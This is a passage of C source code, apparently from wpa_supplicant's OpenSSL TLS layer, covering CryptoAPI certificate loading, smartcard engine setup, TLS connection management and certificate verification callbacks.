OPENSSL_d2i_TYPE const unsigned char ** #else #define OPENSSL_d2i_TYPE unsigned char ** #endif #ifdef SSL_F_SSL_SET_SESSION_TICKET_EXT #ifdef SSL_OP_NO_TICKET /* * Session ticket override patch was merged into OpenSSL 0.9.9 tree on * 2008-11-15. This version uses a bit different API compared to the old patch. */ #define CONFIG_OPENSSL_TICKET_OVERRIDE #endif #endif static int tls_openssl_ref_count = 0; struct tls_global { void (*event_cb)(void *ctx, enum tls_event ev, union tls_event_data *data); void *cb_ctx; }; static struct tls_global *tls_global = NULL; struct tls_connection { SSL *ssl; BIO *ssl_in, *ssl_out; #ifndef OPENSSL_NO_ENGINE ENGINE *engine; /* functional reference to the engine */ EVP_PKEY *private_key; /* the private key if using engine */ #endif /* OPENSSL_NO_ENGINE */ char *subject_match, *altsubject_match; int read_alerts, write_alerts, failed; tls_session_ticket_cb session_ticket_cb; void *session_ticket_cb_ctx; /* SessionTicket received from OpenSSL hello_extension_cb (server) */ u8 *session_ticket; size_t session_ticket_len; unsigned int ca_cert_verify:1; unsigned int cert_probe:1; unsigned int server_cert_only:1; u8 srv_cert_hash[32]; }; #ifdef CONFIG_NO_STDOUT_DEBUG static void _tls_show_errors(void) { unsigned long err; while ((err = ERR_get_error())) { /* Just ignore the errors, since stdout is disabled */ } } #define tls_show_errors(l, f, t) _tls_show_errors() #else /* CONFIG_NO_STDOUT_DEBUG */ static void tls_show_errors(int level, const char *func, const char *txt) { unsigned long err; wpa_printf(level, "OpenSSL: %s - %s %s", func, txt, ERR_error_string(ERR_get_error(), NULL)); while ((err = ERR_get_error())) { wpa_printf(MSG_INFO, "OpenSSL: pending error: %s", ERR_error_string(err, NULL)); } } #endif /* CONFIG_NO_STDOUT_DEBUG */ #ifdef CONFIG_NATIVE_WINDOWS /* Windows CryptoAPI and access to certificate stores */ #include #ifdef __MINGW32_VERSION /* * MinGW does not yet include all the needed definitions for CryptoAPI, so * define here whatever extra is needed. */ #define CERT_SYSTEM_STORE_CURRENT_USER (1 << 16) #define CERT_STORE_READONLY_FLAG 0x00008000 #define CERT_STORE_OPEN_EXISTING_FLAG 0x00004000 #endif /* __MINGW32_VERSION */ struct cryptoapi_rsa_data { const CERT_CONTEXT *cert; HCRYPTPROV crypt_prov; DWORD key_spec; BOOL free_crypt_prov; }; static void cryptoapi_error(const char *msg) { wpa_printf(MSG_INFO, "CryptoAPI: %s; err=%u", msg, (unsigned int) GetLastError()); } static int cryptoapi_rsa_pub_enc(int flen, const unsigned char *from, unsigned char *to, RSA *rsa, int padding) { wpa_printf(MSG_DEBUG, "%s - not implemented", __func__); return 0; } static int cryptoapi_rsa_pub_dec(int flen, const unsigned char *from, unsigned char *to, RSA *rsa, int padding) { wpa_printf(MSG_DEBUG, "%s - not implemented", __func__); return 0; } static int cryptoapi_rsa_priv_enc(int flen, const unsigned char *from, unsigned char *to, RSA *rsa, int padding) { struct cryptoapi_rsa_data *priv = (struct cryptoapi_rsa_data *) rsa->meth->app_data; HCRYPTHASH hash; DWORD hash_size, len, i; unsigned char *buf = NULL; int ret = 0; if (priv == NULL) { RSAerr(RSA_F_RSA_EAY_PRIVATE_ENCRYPT, ERR_R_PASSED_NULL_PARAMETER); return 0; } if (padding != RSA_PKCS1_PADDING) { RSAerr(RSA_F_RSA_EAY_PRIVATE_ENCRYPT, RSA_R_UNKNOWN_PADDING_TYPE); return 0; } if (flen != 16 /* MD5 */ + 20 /* SHA-1 */) { wpa_printf(MSG_INFO, "%s - only MD5-SHA1 hash supported", __func__); RSAerr(RSA_F_RSA_EAY_PRIVATE_ENCRYPT, RSA_R_INVALID_MESSAGE_LENGTH); return 0; } if (!CryptCreateHash(priv->crypt_prov, CALG_SSL3_SHAMD5, 0, 0, &hash)) { cryptoapi_error("CryptCreateHash failed"); return 0; } len = sizeof(hash_size); if (!CryptGetHashParam(hash, HP_HASHSIZE, (BYTE *) &hash_size, &len, 0)) { cryptoapi_error("CryptGetHashParam failed"); goto err; } if ((int) hash_size != flen) { wpa_printf(MSG_INFO, "CryptoAPI: Invalid hash size (%u != %d)", (unsigned) hash_size, flen); RSAerr(RSA_F_RSA_EAY_PRIVATE_ENCRYPT, RSA_R_INVALID_MESSAGE_LENGTH); goto err; } if (!CryptSetHashParam(hash, HP_HASHVAL, (BYTE * ) from, 0)) { cryptoapi_error("CryptSetHashParam failed"); goto err; } len = RSA_size(rsa); buf = os_malloc(len); if (buf == NULL) { RSAerr(RSA_F_RSA_EAY_PRIVATE_ENCRYPT, ERR_R_MALLOC_FAILURE); goto err; } if (!CryptSignHash(hash, priv->key_spec, NULL, 0, buf, &len)) { cryptoapi_error("CryptSignHash failed"); goto err; } for (i = 0; i < len; i++) to[i] = buf[len - i - 1]; ret = len; err: os_free(buf); CryptDestroyHash(hash); return ret; } static int cryptoapi_rsa_priv_dec(int flen, const unsigned char *from, unsigned char *to, RSA *rsa, int padding) { wpa_printf(MSG_DEBUG, "%s - not implemented", __func__); return 0; } static void cryptoapi_free_data(struct cryptoapi_rsa_data *priv) { if (priv == NULL) return; if (priv->crypt_prov && priv->free_crypt_prov) CryptReleaseContext(priv->crypt_prov, 0); if (priv->cert) CertFreeCertificateContext(priv->cert); os_free(priv); } static int cryptoapi_finish(RSA *rsa) { cryptoapi_free_data((struct cryptoapi_rsa_data *) rsa->meth->app_data); os_free((void *) rsa->meth); rsa->meth = NULL; return 1; } static const CERT_CONTEXT * cryptoapi_find_cert(const char *name, DWORD store) { HCERTSTORE cs; const CERT_CONTEXT *ret = NULL; cs = CertOpenStore((LPCSTR) CERT_STORE_PROV_SYSTEM, 0, 0, store | CERT_STORE_OPEN_EXISTING_FLAG | CERT_STORE_READONLY_FLAG, L"MY"); if (cs == NULL) { cryptoapi_error("Failed to open 'My system store'"); return NULL; } if (strncmp(name, "cert://", 7) == 0) { unsigned short wbuf[255]; MultiByteToWideChar(CP_ACP, 0, name + 7, -1, wbuf, 255); ret = CertFindCertificateInStore(cs, X509_ASN_ENCODING | PKCS_7_ASN_ENCODING, 0, CERT_FIND_SUBJECT_STR, wbuf, NULL); } else if (strncmp(name, "hash://", 7) == 0) { CRYPT_HASH_BLOB blob; int len; const char *hash = name + 7; unsigned char *buf; len = os_strlen(hash) / 2; buf = os_malloc(len); if (buf && hexstr2bin(hash, buf, len) == 0) { blob.cbData = len; blob.pbData = buf; ret = CertFindCertificateInStore(cs, X509_ASN_ENCODING | PKCS_7_ASN_ENCODING, 0, CERT_FIND_HASH, &blob, NULL); } os_free(buf); } CertCloseStore(cs, 0); return ret; } static int tls_cryptoapi_cert(SSL *ssl, const char *name) { X509 *cert = NULL; RSA *rsa = NULL, *pub_rsa; struct cryptoapi_rsa_data *priv; RSA_METHOD *rsa_meth; if (name == NULL || (strncmp(name, "cert://", 7) != 0 && strncmp(name, "hash://", 7) != 0)) return -1; priv = os_zalloc(sizeof(*priv)); rsa_meth = os_zalloc(sizeof(*rsa_meth)); if (priv == NULL || rsa_meth == NULL) { wpa_printf(MSG_WARNING, "CryptoAPI: Failed to allocate memory " "for CryptoAPI RSA method"); os_free(priv); os_free(rsa_meth); return -1; } priv->cert = cryptoapi_find_cert(name, CERT_SYSTEM_STORE_CURRENT_USER); if (priv->cert == NULL) { priv->cert = cryptoapi_find_cert( name, CERT_SYSTEM_STORE_LOCAL_MACHINE); } if (priv->cert == NULL) { wpa_printf(MSG_INFO, "CryptoAPI: Could not find certificate " "'%s'", name); goto err; } cert = d2i_X509(NULL, (OPENSSL_d2i_TYPE) &priv->cert->pbCertEncoded, priv->cert->cbCertEncoded); if (cert == NULL) { wpa_printf(MSG_INFO, "CryptoAPI: Could not process X509 DER " "encoding"); goto err; } if (!CryptAcquireCertificatePrivateKey(priv->cert, CRYPT_ACQUIRE_COMPARE_KEY_FLAG, NULL, &priv->crypt_prov, &priv->key_spec, &priv->free_crypt_prov)) { cryptoapi_error("Failed to acquire a private key for the " "certificate"); goto err; } rsa_meth->name = "Microsoft CryptoAPI RSA Method"; rsa_meth->rsa_pub_enc = cryptoapi_rsa_pub_enc; rsa_meth->rsa_pub_dec = cryptoapi_rsa_pub_dec; rsa_meth->rsa_priv_enc = cryptoapi_rsa_priv_enc; rsa_meth->rsa_priv_dec = cryptoapi_rsa_priv_dec; rsa_meth->finish = cryptoapi_finish; rsa_meth->flags = RSA_METHOD_FLAG_NO_CHECK; rsa_meth->app_data = (char *) priv; rsa = RSA_new(); if (rsa == NULL) { SSLerr(SSL_F_SSL_CTX_USE_CERTIFICATE_FILE, ERR_R_MALLOC_FAILURE); goto err; } if (!SSL_use_certificate(ssl, cert)) { RSA_free(rsa); rsa = NULL; goto err; } pub_rsa = cert->cert_info->key->pkey->pkey.rsa; X509_free(cert); cert = NULL; rsa->n = BN_dup(pub_rsa->n); rsa->e = BN_dup(pub_rsa->e); if (!RSA_set_method(rsa, rsa_meth)) goto err; if (!SSL_use_RSAPrivateKey(ssl, rsa)) goto err; RSA_free(rsa); return 0; err: if (cert) X509_free(cert); if (rsa) RSA_free(rsa); else { os_free(rsa_meth); cryptoapi_free_data(priv); } return -1; } static int tls_cryptoapi_ca_cert(SSL_CTX *ssl_ctx, SSL *ssl, const char *name) { HCERTSTORE cs; PCCERT_CONTEXT ctx = NULL; X509 *cert; char buf[128]; const char *store; #ifdef UNICODE WCHAR *wstore; #endif /* UNICODE */ if (name == NULL || strncmp(name, "cert_store://", 13) != 0) return -1; store = name + 13; #ifdef UNICODE wstore = os_malloc((os_strlen(store) + 1) * sizeof(WCHAR)); if (wstore == NULL) return -1; wsprintf(wstore, L"%S", store); cs = CertOpenSystemStore(0, wstore); os_free(wstore); #else /* UNICODE */ cs = CertOpenSystemStore(0, store); #endif /* UNICODE */ if (cs == NULL) { wpa_printf(MSG_DEBUG, "%s: failed to open system cert store " "'%s': error=%d", __func__, store, (int) GetLastError()); return -1; } while ((ctx = CertEnumCertificatesInStore(cs, ctx))) { cert = d2i_X509(NULL, (OPENSSL_d2i_TYPE) &ctx->pbCertEncoded, ctx->cbCertEncoded); if (cert == NULL) { wpa_printf(MSG_INFO, "CryptoAPI: Could not process " "X509 DER encoding for CA cert"); continue; } X509_NAME_oneline(X509_get_subject_name(cert), buf, sizeof(buf)); wpa_printf(MSG_DEBUG, "OpenSSL: Loaded CA certificate for " "system certificate store: subject='%s'", buf); if (!X509_STORE_add_cert(ssl_ctx->cert_store, cert)) { tls_show_errors(MSG_WARNING, __func__, "Failed to add ca_cert to OpenSSL " "certificate store"); } X509_free(cert); } if (!CertCloseStore(cs, 0)) { wpa_printf(MSG_DEBUG, "%s: failed to close system cert store " "'%s': error=%d", __func__, name + 13, (int) GetLastError()); } return 0; } #else /* CONFIG_NATIVE_WINDOWS */ static int tls_cryptoapi_cert(SSL *ssl, const char *name) { return -1; } #endif /* CONFIG_NATIVE_WINDOWS */ static void ssl_info_cb(const SSL *ssl, int where, int ret) { const char *str; int w; wpa_printf(MSG_DEBUG, "SSL: (where=0x%x ret=0x%x)", where, ret); w = where & ~SSL_ST_MASK; if (w & SSL_ST_CONNECT) str = "SSL_connect"; else if (w & SSL_ST_ACCEPT) str = "SSL_accept"; else str = "undefined"; if (where & SSL_CB_LOOP) { wpa_printf(MSG_DEBUG, "SSL: %s:%s", str, SSL_state_string_long(ssl)); } else if (where & SSL_CB_ALERT) { wpa_printf(MSG_INFO, "SSL: SSL3 alert: %s:%s:%s", where & SSL_CB_READ ? "read (remote end reported an error)" : "write (local SSL3 detected an error)", SSL_alert_type_string_long(ret), SSL_alert_desc_string_long(ret)); if ((ret >> 8) == SSL3_AL_FATAL) { struct tls_connection *conn = SSL_get_app_data((SSL *) ssl); if (where & SSL_CB_READ) conn->read_alerts++; else conn->write_alerts++; } } else if (where & SSL_CB_EXIT && ret <= 0) { wpa_printf(MSG_DEBUG, "SSL: %s:%s in %s", str, ret == 0 ? "failed" : "error", SSL_state_string_long(ssl)); } } #ifndef OPENSSL_NO_ENGINE /** * tls_engine_load_dynamic_generic - load any openssl engine * @pre: an array of commands and values that load an engine initialized * in the engine specific function * @post: an array of commands and values that initialize an already loaded * engine (or %NULL if not required) * @id: the engine id of the engine to load (only required if post is not %NULL * * This function is a generic function that loads any openssl engine. * * Returns: 0 on success, -1 on failure */ static int tls_engine_load_dynamic_generic(const char *pre[], const char *post[], const char *id) { ENGINE *engine; const char *dynamic_id = "dynamic"; engine = ENGINE_by_id(id); if (engine) { ENGINE_free(engine); wpa_printf(MSG_DEBUG, "ENGINE: engine '%s' is already " "available", id); return 0; } ERR_clear_error(); engine = ENGINE_by_id(dynamic_id); if (engine == NULL) { wpa_printf(MSG_INFO, "ENGINE: Can't find engine %s [%s]", dynamic_id, ERR_error_string(ERR_get_error(), NULL)); return -1; } /* Perform the pre commands. This will load the engine. */ while (pre && pre[0]) { wpa_printf(MSG_DEBUG, "ENGINE: '%s' '%s'", pre[0], pre[1]); if (ENGINE_ctrl_cmd_string(engine, pre[0], pre[1], 0) == 0) { wpa_printf(MSG_INFO, "ENGINE: ctrl cmd_string failed: " "%s %s [%s]", pre[0], pre[1], ERR_error_string(ERR_get_error(), NULL)); ENGINE_free(engine); return -1; } pre += 2; } /* * Free the reference to the "dynamic" engine. The loaded engine can * now be looked up using ENGINE_by_id(). */ ENGINE_free(engine); engine = ENGINE_by_id(id); if (engine == NULL) { wpa_printf(MSG_INFO, "ENGINE: Can't find engine %s [%s]", id, ERR_error_string(ERR_get_error(), NULL)); return -1; } while (post && post[0]) { wpa_printf(MSG_DEBUG, "ENGINE: '%s' '%s'", post[0], post[1]); if (ENGINE_ctrl_cmd_string(engine, post[0], post[1], 0) == 0) { wpa_printf(MSG_DEBUG, "ENGINE: ctrl cmd_string failed:" " %s %s [%s]", post[0], post[1], ERR_error_string(ERR_get_error(), NULL)); ENGINE_remove(engine); ENGINE_free(engine); return -1; } post += 2; } ENGINE_free(engine); return 0; } /** * tls_engine_load_dynamic_pkcs11 - load the pkcs11 engine provided by opensc * @pkcs11_so_path: pksc11_so_path from the configuration * @pcks11_module_path: pkcs11_module_path from the configuration */ static int tls_engine_load_dynamic_pkcs11(const char *pkcs11_so_path, const char *pkcs11_module_path) { char *engine_id = "pkcs11"; const char *pre_cmd[] = { "SO_PATH", NULL /* pkcs11_so_path */, "ID", NULL /* engine_id */, "LIST_ADD", "1", /* "NO_VCHECK", "1", */ "LOAD", NULL, NULL, NULL }; const char *post_cmd[] = { "MODULE_PATH", NULL /* pkcs11_module_path */, NULL, NULL }; if (!pkcs11_so_path || !pkcs11_module_path) return 0; pre_cmd[1] = pkcs11_so_path; pre_cmd[3] = engine_id; post_cmd[1] = pkcs11_module_path; wpa_printf(MSG_DEBUG, "ENGINE: Loading pkcs11 Engine from %s", pkcs11_so_path); return tls_engine_load_dynamic_generic(pre_cmd, post_cmd, engine_id); } /** * tls_engine_load_dynamic_opensc - load the opensc engine provided by opensc * @opensc_so_path: opensc_so_path from the configuration */ static int tls_engine_load_dynamic_opensc(const char *opensc_so_path) { char *engine_id = "opensc"; const char *pre_cmd[] = { "SO_PATH", NULL /* opensc_so_path */, "ID", NULL /* engine_id */, "LIST_ADD", "1", "LOAD", NULL, NULL, NULL }; if (!opensc_so_path) return 0; pre_cmd[1] = opensc_so_path; pre_cmd[3] = engine_id; wpa_printf(MSG_DEBUG, "ENGINE: Loading OpenSC Engine from %s", opensc_so_path); return tls_engine_load_dynamic_generic(pre_cmd, NULL, engine_id); } #endif /* OPENSSL_NO_ENGINE */ void * tls_init(const struct tls_config *conf) { SSL_CTX *ssl; if (tls_openssl_ref_count == 0) { tls_global = os_zalloc(sizeof(*tls_global)); if (tls_global == NULL) return NULL; if (conf) { tls_global->event_cb = conf->event_cb; tls_global->cb_ctx = conf->cb_ctx; } #ifdef CONFIG_FIPS #ifdef OPENSSL_FIPS if (conf && conf->fips_mode) { if (!FIPS_mode_set(1)) { wpa_printf(MSG_ERROR, "Failed to enable FIPS " "mode"); ERR_load_crypto_strings(); ERR_print_errors_fp(stderr); return NULL; } else wpa_printf(MSG_INFO, "Running in FIPS mode"); } #else /* OPENSSL_FIPS */ if (conf && conf->fips_mode) { wpa_printf(MSG_ERROR, "FIPS mode requested, but not " "supported"); return NULL; } #endif /* OPENSSL_FIPS */ #endif /* CONFIG_FIPS */ SSL_load_error_strings(); SSL_library_init(); #ifndef OPENSSL_NO_SHA256 EVP_add_digest(EVP_sha256()); #endif /* OPENSSL_NO_SHA256 */ /* TODO: if /dev/urandom is available, PRNG is seeded * automatically. If this is not the case, random data should * be added here. */ #ifdef PKCS12_FUNCS #ifndef OPENSSL_NO_RC2 /* * 40-bit RC2 is commonly used in PKCS#12 files, so enable it. * This is enabled by PKCS12_PBE_add() in OpenSSL 0.9.8 * versions, but it looks like OpenSSL 1.0.0 does not do that * anymore. */ EVP_add_cipher(EVP_rc2_40_cbc()); #endif /* OPENSSL_NO_RC2 */ PKCS12_PBE_add(); #endif /* PKCS12_FUNCS */ } tls_openssl_ref_count++; ssl = SSL_CTX_new(TLSv1_method()); if (ssl == NULL) return NULL; SSL_CTX_set_info_callback(ssl, ssl_info_cb); #ifndef OPENSSL_NO_ENGINE if (conf && (conf->opensc_engine_path || conf->pkcs11_engine_path || conf->pkcs11_module_path)) { wpa_printf(MSG_DEBUG, "ENGINE: Loading dynamic engine"); ERR_load_ENGINE_strings(); ENGINE_load_dynamic(); if (tls_engine_load_dynamic_opensc(conf->opensc_engine_path) || tls_engine_load_dynamic_pkcs11(conf->pkcs11_engine_path, conf->pkcs11_module_path)) { tls_deinit(ssl); return NULL; } } #endif /* OPENSSL_NO_ENGINE */ return ssl; } void tls_deinit(void *ssl_ctx) { SSL_CTX *ssl = ssl_ctx; SSL_CTX_free(ssl); tls_openssl_ref_count--; if (tls_openssl_ref_count == 0) { #ifndef OPENSSL_NO_ENGINE ENGINE_cleanup(); #endif /* OPENSSL_NO_ENGINE */ CRYPTO_cleanup_all_ex_data(); ERR_remove_state(0); ERR_free_strings(); EVP_cleanup(); os_free(tls_global); tls_global = NULL; } } static int tls_engine_init(struct tls_connection *conn, const char *engine_id, const char *pin, const char *key_id, const char *cert_id, const char *ca_cert_id) { #ifndef OPENSSL_NO_ENGINE int ret = -1; if (engine_id == NULL) { wpa_printf(MSG_ERROR, "ENGINE: Engine ID not set"); return -1; } if (pin == NULL) { wpa_printf(MSG_ERROR, "ENGINE: Smartcard PIN not set"); return -1; } if (key_id == NULL) { wpa_printf(MSG_ERROR, "ENGINE: Key Id not set"); return -1; } ERR_clear_error(); conn->engine = ENGINE_by_id(engine_id); if (!conn->engine) { wpa_printf(MSG_ERROR, "ENGINE: engine %s not available [%s]", engine_id, ERR_error_string(ERR_get_error(), NULL)); goto err; } if (ENGINE_init(conn->engine) != 1) { wpa_printf(MSG_ERROR, "ENGINE: engine init failed " "(engine: %s) [%s]", engine_id, ERR_error_string(ERR_get_error(), NULL)); goto err; } wpa_printf(MSG_DEBUG, "ENGINE: engine initialized"); if (ENGINE_ctrl_cmd_string(conn->engine, "PIN", pin, 0) == 0) { wpa_printf(MSG_ERROR, "ENGINE: cannot set pin [%s]", ERR_error_string(ERR_get_error(), NULL)); goto err; } /* load private key first in-case PIN is required for cert */ conn->private_key = ENGINE_load_private_key(conn->engine, key_id, NULL, NULL); if (!conn->private_key) { wpa_printf(MSG_ERROR, "ENGINE: cannot load private key with id" " '%s' [%s]", key_id, ERR_error_string(ERR_get_error(), NULL)); ret = TLS_SET_PARAMS_ENGINE_PRV_INIT_FAILED; goto err; } /* handle a certificate and/or CA certificate */ if (cert_id || ca_cert_id) { const char *cmd_name = "LOAD_CERT_CTRL"; /* test if the engine supports a LOAD_CERT_CTRL */ if (!ENGINE_ctrl(conn->engine, ENGINE_CTRL_GET_CMD_FROM_NAME, 0, (void *)cmd_name, NULL)) { wpa_printf(MSG_ERROR, "ENGINE: engine does not support" " loading certificates"); ret = TLS_SET_PARAMS_ENGINE_PRV_INIT_FAILED; goto err; } } return 0; err: if (conn->engine) { ENGINE_free(conn->engine); conn->engine = NULL; } if (conn->private_key) { EVP_PKEY_free(conn->private_key); conn->private_key = NULL; } return ret; #else /* OPENSSL_NO_ENGINE */ return 0; #endif /* OPENSSL_NO_ENGINE */ } static void tls_engine_deinit(struct tls_connection *conn) { #ifndef OPENSSL_NO_ENGINE wpa_printf(MSG_DEBUG, "ENGINE: engine deinit"); if (conn->private_key) { EVP_PKEY_free(conn->private_key); conn->private_key = NULL; } if (conn->engine) { ENGINE_finish(conn->engine); conn->engine = NULL; } #endif /* OPENSSL_NO_ENGINE */ } int tls_get_errors(void *ssl_ctx) { int count = 0; unsigned long err; while ((err = ERR_get_error())) { wpa_printf(MSG_INFO, "TLS - SSL error: %s", ERR_error_string(err, NULL)); count++; } return count; } struct tls_connection * tls_connection_init(void *ssl_ctx) { SSL_CTX *ssl = ssl_ctx; struct tls_connection *conn; long options; conn = os_zalloc(sizeof(*conn)); if (conn == NULL) return NULL; conn->ssl = SSL_new(ssl); if (conn->ssl == NULL) { tls_show_errors(MSG_INFO, __func__, "Failed to initialize new SSL connection"); os_free(conn); return NULL; } SSL_set_app_data(conn->ssl, conn); options = SSL_OP_NO_SSLv2 | SSL_OP_NO_SSLv3 | SSL_OP_SINGLE_DH_USE; #ifdef SSL_OP_NO_COMPRESSION options |= SSL_OP_NO_COMPRESSION; #endif /* SSL_OP_NO_COMPRESSION */ SSL_set_options(conn->ssl, options); conn->ssl_in = BIO_new(BIO_s_mem()); if (!conn->ssl_in) { tls_show_errors(MSG_INFO, __func__, "Failed to create a new BIO for ssl_in"); SSL_free(conn->ssl); os_free(conn); return NULL; } conn->ssl_out = BIO_new(BIO_s_mem()); if (!conn->ssl_out) { tls_show_errors(MSG_INFO, __func__, "Failed to create a new BIO for ssl_out"); SSL_free(conn->ssl); BIO_free(conn->ssl_in); os_free(conn); return NULL; } SSL_set_bio(conn->ssl, conn->ssl_in, conn->ssl_out); return conn; } void tls_connection_deinit(void *ssl_ctx, struct tls_connection *conn) { if (conn == NULL) return; SSL_free(conn->ssl); tls_engine_deinit(conn); os_free(conn->subject_match); os_free(conn->altsubject_match); os_free(conn->session_ticket); os_free(conn); } int tls_connection_established(void *ssl_ctx, struct tls_connection *conn) { return conn ? SSL_is_init_finished(conn->ssl) : 0; } int tls_connection_shutdown(void *ssl_ctx, struct tls_connection *conn) { if (conn == NULL) return -1; /* Shutdown previous TLS connection without notifying the peer * because the connection was already terminated in practice * and "close notify" shutdown alert would confuse AS. */ SSL_set_quiet_shutdown(conn->ssl, 1); SSL_shutdown(conn->ssl); return 0; } static int tls_match_altsubject_component(X509 *cert, int type, const char *value, size_t len) { GENERAL_NAME *gen; void *ext; int i, found = 0; ext = X509_get_ext_d2i(cert, NID_subject_alt_name, NULL, NULL); for (i = 0; ext && i < sk_GENERAL_NAME_num(ext); i++) { gen = sk_GENERAL_NAME_value(ext, i); if (gen->type != type) continue; if (os_strlen((char *) gen->d.ia5->data) == len && os_memcmp(value, gen->d.ia5->data, len) == 0) found++; } return found; } static int tls_match_altsubject(X509 *cert, const char *match) { int type; const char *pos, *end; size_t len; pos = match; do { if (os_strncmp(pos, "EMAIL:", 6) == 0) { type = GEN_EMAIL; pos += 6; } else if (os_strncmp(pos, "DNS:", 4) == 0) { type = GEN_DNS; pos += 4; } else if (os_strncmp(pos, "URI:", 4) == 0) { type = GEN_URI; pos += 4; } else { wpa_printf(MSG_INFO, "TLS: Invalid altSubjectName " "match '%s'", pos); return 0; } end = os_strchr(pos, ';'); while (end) { if (os_strncmp(end + 1, "EMAIL:", 6) == 0 || os_strncmp(end + 1, "DNS:", 4) == 0 || os_strncmp(end + 1, "URI:", 4) == 0) break; end = os_strchr(end + 1, ';'); } if (end) len = end - pos; else len = os_strlen(pos); if (tls_match_altsubject_component(cert, type, pos, len) > 0) return 1; pos = end + 1; } while (end); return 0; } static enum tls_fail_reason openssl_tls_fail_reason(int err) { switch (err) { case X509_V_ERR_CERT_REVOKED: return TLS_FAIL_REVOKED; case X509_V_ERR_CERT_NOT_YET_VALID: case X509_V_ERR_CRL_NOT_YET_VALID: return TLS_FAIL_NOT_YET_VALID; case X509_V_ERR_CERT_HAS_EXPIRED: case X509_V_ERR_CRL_HAS_EXPIRED: return TLS_FAIL_EXPIRED; case X509_V_ERR_UNABLE_TO_GET_ISSUER_CERT: case X509_V_ERR_UNABLE_TO_GET_CRL: case X509_V_ERR_UNABLE_TO_GET_CRL_ISSUER: case X509_V_ERR_SELF_SIGNED_CERT_IN_CHAIN: case X509_V_ERR_UNABLE_TO_GET_ISSUER_CERT_LOCALLY: case X509_V_ERR_DEPTH_ZERO_SELF_SIGNED_CERT: case X509_V_ERR_UNABLE_TO_VERIFY_LEAF_SIGNATURE: case X509_V_ERR_CERT_CHAIN_TOO_LONG: case X509_V_ERR_PATH_LENGTH_EXCEEDED: case X509_V_ERR_INVALID_CA: return TLS_FAIL_UNTRUSTED; case X509_V_ERR_UNABLE_TO_DECRYPT_CERT_SIGNATURE: case X509_V_ERR_UNABLE_TO_DECRYPT_CRL_SIGNATURE: case X509_V_ERR_UNABLE_TO_DECODE_ISSUER_PUBLIC_KEY: case X509_V_ERR_ERROR_IN_CERT_NOT_BEFORE_FIELD: case X509_V_ERR_ERROR_IN_CERT_NOT_AFTER_FIELD: case X509_V_ERR_ERROR_IN_CRL_LAST_UPDATE_FIELD: case X509_V_ERR_ERROR_IN_CRL_NEXT_UPDATE_FIELD: case X509_V_ERR_CERT_UNTRUSTED: case X509_V_ERR_CERT_REJECTED: return TLS_FAIL_BAD_CERTIFICATE; default: return TLS_FAIL_UNSPECIFIED; } } static struct wpabuf * get_x509_cert(X509 *cert) { struct wpabuf *buf; u8 *tmp; int cert_len = i2d_X509(cert, NULL); if (cert_len <= 0) return NULL; buf = wpabuf_alloc(cert_len); if (buf == NULL) return NULL; tmp = wpabuf_put(buf, cert_len); i2d_X509(cert, &tmp); return buf; } static void openssl_tls_fail_event(struct tls_connection *conn, X509 *err_cert, int err, int depth, const char *subject, const char *err_str, enum tls_fail_reason reason) { union tls_event_data ev; struct wpabuf *cert = NULL; if (tls_global->event_cb == NULL) return; cert = get_x509_cert(err_cert); os_memset(&ev, 0, sizeof(ev)); ev.cert_fail.reason = reason != TLS_FAIL_UNSPECIFIED ? reason : openssl_tls_fail_reason(err); ev.cert_fail.depth = depth; ev.cert_fail.subject = subject; ev.cert_fail.reason_txt = err_str; ev.cert_fail.cert = cert; tls_global->event_cb(tls_global->cb_ctx, TLS_CERT_CHAIN_FAILURE, &ev); wpabuf_free(cert); } static void openssl_tls_cert_event(struct tls_connection *conn, X509 *err_cert, int depth, const char *subject) { struct wpabuf *cert = NULL; union tls_event_data ev; #ifdef CONFIG_SHA256 u8 hash[32]; #endif /* CONFIG_SHA256 */ if (tls_global->event_cb == NULL) return; os_memset(&ev, 0, sizeof(ev)); if (conn->cert_probe) { cert = get_x509_cert(err_cert); ev.peer_cert.cert = cert; } #ifdef CONFIG_SHA256 if (cert) { const u8 *addr[1]; size_t len[1]; addr[0] = wpabuf_head(cert); len[0] = wpabuf_len(cert); if (sha256_vector(1, addr, len, hash) == 0) { ev.peer_cert.hash = hash; ev.peer_cert.hash_len = sizeof(hash); } } #endif /* CONFIG_SHA256 */ ev.peer_cert.depth = depth; ev.peer_cert.subject = subject; tls_global->event_cb(tls_global->cb_ctx, TLS_PEER_CERTIFICATE, &ev); wpabuf_free(cert); } static int tls_verify_cb(int preverify_ok, X509_STORE_CTX *x509_ctx) { char buf[256]; X509 *err_cert; int err, depth; SSL *ssl; struct tls_connection *conn; char *match, *altmatch; const char *err_str; err_cert = X509_STORE_CTX_get_current_cert(x509_ctx); err = X509_STORE_CTX_get_error(x509_ctx); depth = X509_STORE_CTX_get_error_depth(x509_ctx); ssl = X509_STORE_CTX_get_ex_data(x509_ctx, SSL_get_ex_data_X509_STORE_CTX_idx()); X509_NAME_oneline(X509_get_subject_name(err_cert), buf, sizeof(buf)); conn = SSL_get_app_data(ssl); match = conn ? conn->subject_match : NULL; altmatch = conn ? conn->altsubject_match : NULL; if (!preverify_ok && !conn->ca_cert_verify) preverify_ok = 1; if (!preverify_ok && depth > 0 && conn->server_cert_only) preverify_ok = 1; err_str = X509_verify_cert_error_string(err); #ifdef CONFIG_SHA256 if (preverify_ok && depth == 0 && conn->server_cert_only) { struct wpabuf *cert; cert = get_x509_cert(err_cert); if (!cert) { wpa_printf(MSG_DEBUG, "OpenSSL: Could not fetch " "server certificate data"); preverify_ok = 0; } else { u8 hash[32]; const u8 *addr[1]; size_t len[1]; addr[0] = wpabuf_head(cert); len[0] = wpabuf_len(cert); if (sha256_vector(1, addr, len, hash) < 0 || os_memcmp(conn->srv_cert_hash, hash, 32) != 0) { err_str = "Server certificate mismatch"; err = X509_V_ERR_SELF_SIGNED_CERT_IN_CHAIN; preverify_ok = 0; } wpabuf_free(cert); } } #endif /* CONFIG_SHA256 */ if (!preverify_ok) { wpa_printf(MSG_WARNING, "TLS: Certificate verification failed," " error %d (%s) depth %d for '%s'", err, err_str, depth, buf); openssl_tls_fail_event(conn, err_cert, err, depth, buf, err_str, TLS_FAIL_UNSPECIFIED); return preverify_ok; } wpa_printf(MSG_DEBUG, "TLS: tls_verify_cb - preverify_ok=%d " "err=%d (%s) ca_cert_verify=%d depth=%d buf='%s'", preverify_ok, err, err_str, conn->ca_cert_verify, depth, buf); if (depth == 0 && match && os_strstr(buf, match) == NULL) { wpa_printf(MSG_WARNING, "TLS: Subject '%s' did not " "match with '%s'", buf, match); preverify_ok = 0; openssl_tls_fail_event(conn, err_cert, err, depth, buf, "Subject mismatch", TLS_FAIL_SUBJECT_MISMATCH); } else if (depth == 0 && altmatch && 